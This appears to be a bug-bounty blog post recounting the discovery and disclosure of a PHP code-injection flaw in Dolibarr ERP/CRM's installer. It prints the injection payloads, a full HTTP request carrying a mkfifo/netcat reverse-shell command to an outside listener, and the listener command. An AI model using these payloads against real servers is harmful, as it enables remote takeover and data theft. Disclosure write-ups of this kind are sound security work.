Código Caótico

Finding a Critical RCE in Dolibarr ERP/CRM

Finding a Critical RCE in Dolibarr ERP/CRM

How I Discovered CVE-2024-29477: My Journey to Finding a Critical RCE in Dolibarr ERP/CRM

Every bug bounty hunter knows that feeling: the rush of diving into a new target, hoping to uncover vulnerabilities that others might have missed. This time, my target was Dolibarr ERP/CRM, an open-source platform with a bug bounty program. I downloaded the latest version, spun up a Ubuntu Server 22.04 environment, and began my exploration.

Getting Started: The Initial Setup

Within 15 minutes of setting up Dolibarr, I had reached the installation process at http://192.168.0.155/install. It looked pretty standard at first—typical fields for setting up the application, configuring the database, and specifying the main URL. But what caught my eye was a POST parameter called main_url. It seemed simple, but I wondered, what if this input wasn't properly validated?

The Vulnerability: Unescaped Input

I started by looking into how the input from the main_url parameter was processed. My hunch was right: Dolibarr wasn't properly escaping this input. The value provided for main_url was saved into the config.php file, which the server loaded during subsequent steps of the installation.

This meant that if I could inject some PHP code through this parameter, it would be saved in config.php and executed when the file was included by the server. It was time to put my theory to the test.

The First Attempts: Struggling with Payloads

My first attempt was a basic PHP code injection, just to see if I could break out of the string context. I tried something like this:

'; echo 'Hello, world!'; //

I sent this payload using Burp Suite to intercept the POST request. The request looked like this:


POST /install/step1.php HTTP/1.1
Host: 192.168.0.155
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

main_url=http://192.168.0.155/'; echo 'Hello, world!'; //&other_param=...

The server threw an error, but that was progress—it meant the input wasn't being fully sanitized. Now I just needed to find the right way to break out of the current context and execute my own commands.

Refining the Payload: From Errors to Exploits

My next step was to see if I could get the server to execute system commands. I tried something like:

'; system('ls'); //

Again, I got an error. It seemed like I needed to be more strategic with my escape sequence. I knew I had to find a way to inject code that would be interpreted as part of the PHP script in config.php. So I experimented with various combinations, like trying to close the PHP tag and open a new one:

'; ?> 

No luck yet. But after hours of testing different payloads, I realized that I needed to keep the context within a PHP string while injecting shell commands. That’s when I had my breakthrough.

The Winning Payload: Crafting a Reverse Shell

I crafted a payload that used backticks (``) to execute a shell command. This method allowed me to create a reverse shell, which would give me access to the server. The payload looked like this:


http%3A%2F%2F192.168.0.155\';$sock=`rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+<LHOST-IP>+1234+>/tmp/f`%3b//test

This payload essentially instructs the server to remove any existing /tmp/f file, create a named pipe using mkfifo, and then connect to my listener using nc (Netcat). This provided me with an interactive shell on the target machine.

With the payload ready, I sent the following POST request through Burp Suite:


POST /install/step1.php HTTP/1.1
Host: 192.168.0.155
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 271
Origin: http://192.168.0.155
Connection: close
Referer: http://192.168.0.155/install/fileconf.php?selectlang=auto

testpost=ok&action=set&main_dir=%2Fvar%2Fwww%2Fdolibarr%2Fhtdocs&main_data_dir=%2Fvar%2Fwww%2Fdolibarr%2Fdocuments&main_url=http%3A%2F%2F<LHOST-IP>\';$sock=`rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.88.88+1234+>/tmp/f`%3b//test&db_name=dolibarr&db_type=mysqli&db_host=localhost&db_port=3306&db_prefix=llx_&db_user=&db_pass=password&selectlang=auto

Before sending the request, I started a listener on my machine with:

nc -lvnp 1234

I forwarded the request, and within seconds, I saw my listener light up. I had a www-data shell on the target server. I was in.

The Impact: What This Vulnerability Means

This vulnerability allows a malicious user with access to the internal network during the Dolibarr installation process to execute arbitrary code on the remote server. This could lead to:

  • Complete control over the server.
  • Injection of backdoor PHP scripts for persistent access.
  • Exfiltration of sensitive data stored in the Dolibarr database.
  • Potential pivoting to other parts of the network.

Reporting the Vulnerability: Responsible Disclosure

With the PoC in hand, I prepared a detailed report and reached out to the Dolibarr security team. I included the following:

  • The steps to reproduce the issue, along with the exact POST request.
  • The technical details of why the main_url parameter was vulnerable.
  • Suggestions on how to properly sanitize input fields to prevent such injections.

The Dolibarr team was quick to respond, and within a few weeks, they had a patch ready. The vulnerability was assigned CVE-2024-29477 and marked as critical. I couldn't have been more satisfied with the outcome, knowing that I had helped secure a widely used open-source project.

Lessons Learned: The Art of Persistence

Looking back, this journey taught me a valuable lesson: never underestimate the power of persistence. It was easy to dismiss the main_url field as just another input, but pushing through the failures and refining my payloads led to the discovery of a serious vulnerability.

If you're a fellow bug bounty hunter, remember to keep exploring, keep testing, and keep pushing the limits. You never know when the next seemingly insignificant input field might lead to a critical CVE.

For more details, you can view the full CVE entry here.

Happy hunting, and stay curious!

Tags:
Share:
0 Comments
Comments Reply